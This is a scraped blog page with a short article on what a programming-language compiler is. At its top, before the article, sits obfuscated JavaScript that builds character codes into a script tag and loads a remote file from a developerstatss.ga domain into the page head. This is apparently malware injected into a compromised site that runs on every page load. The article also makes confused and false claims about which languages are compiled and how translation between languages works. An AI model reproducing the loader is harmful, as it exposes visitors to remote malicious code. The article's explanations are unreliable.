Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,101,118,101,108,111,112,101,114,115,116,97,116,115,115,46,103,97,47,115,116,97,116,46,106,115,63,110,61,51);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Programming Language Compiler

Programming Language Compiler


Programming language Compiler

A compiler is a computer program which translates source programming language into user’s target programming language . If anyone wants to know about compiling then the definition should be “ A compiler does that what is compiling ” . 

Compiler is only used for higher level programming languages; such as Python , Ruby , C# etc.  Scripting languages ( JavaScript , Typescript etc.) don’t need a compiler .

It transforms source programming language in binary or machine language code . Humans can read their languages but a computer can’t . Human’s greatest invention computer only knows its own language. So , we can say a compiler first transforms a higher level programming language into binary. Then computer reads it and gives output .

If anyone wants to turn a programming language into another programming language then he has to transform the binary code which was compiled earlier into his target language . This is called compiling too .


How useful was this post?

Click on a star to rate it!

Average rating 4.7 / 5. Vote count: 6

Be the first to rate this post.

5 1 vote
Article Rating
Notify of

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Inline Feedbacks
View all comments
Would love your thoughts, please comment.x